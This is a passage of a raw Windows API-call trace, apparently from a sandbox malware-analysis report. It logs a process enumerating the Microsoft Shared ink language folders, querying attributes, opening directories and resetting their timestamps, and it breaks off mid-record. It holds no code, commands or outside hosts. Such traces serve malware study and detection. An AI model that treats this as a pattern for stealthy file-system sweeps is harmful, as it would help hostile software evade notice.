Flags=0x8, Size=0x80) returned 0x8f6850 [0234.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0234.968] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0234.968] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0234.970] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0234.972] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0234.972] NtClose (Handle=0x1bc) returned 0x0 [0234.979] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.995] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.995] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0234.995] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.996] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904738 [0234.996] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x904d00 [0234.996] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.996] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.996] GetLastError () returned 0x12 [0234.996] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0234.996] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.996] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.996] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.996] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.996] GetLastError () returned 0x12 [0234.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.997] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.997] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0234.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.997] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0234.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lv-lv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0234.997] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0234.997] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0234.997] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0234.997] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0234.997] NtClose (Handle=0x1b0) returned 0x0 [0234.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0234.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0234.998] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0234.998] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.998] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0234.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0234.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0234.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904758 [0234.998] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x904e08 [0234.998] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0234.998] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.998] GetLastError () returned 0x12 [0234.998] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0234.998] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0234.999] GetLastError () returned 0x12 [0234.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0234.999] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0234.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0234.999] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0234.999] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0234.999] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0234.999] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), fInfoLevelId=0x0, lpFileInformation=0x15fee50 | out: lpFileInformation=0x15fee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\nb-no"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0235.000] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0235.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0235.000] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0235.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.000] NtClose (Handle=0x1bc) returned 0x0 [0235.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0235.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6850 [0235.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.000] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.000] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.000] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.000] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.000] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f6740 [0235.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904778 [0235.001] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x904f10 [0235.001] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6740) returned 1 [0235.001] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0235.001] GetLastError () returned 0x12 [0235.001] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd560 [0235.001] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0235.001] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.001] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0235.001] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, 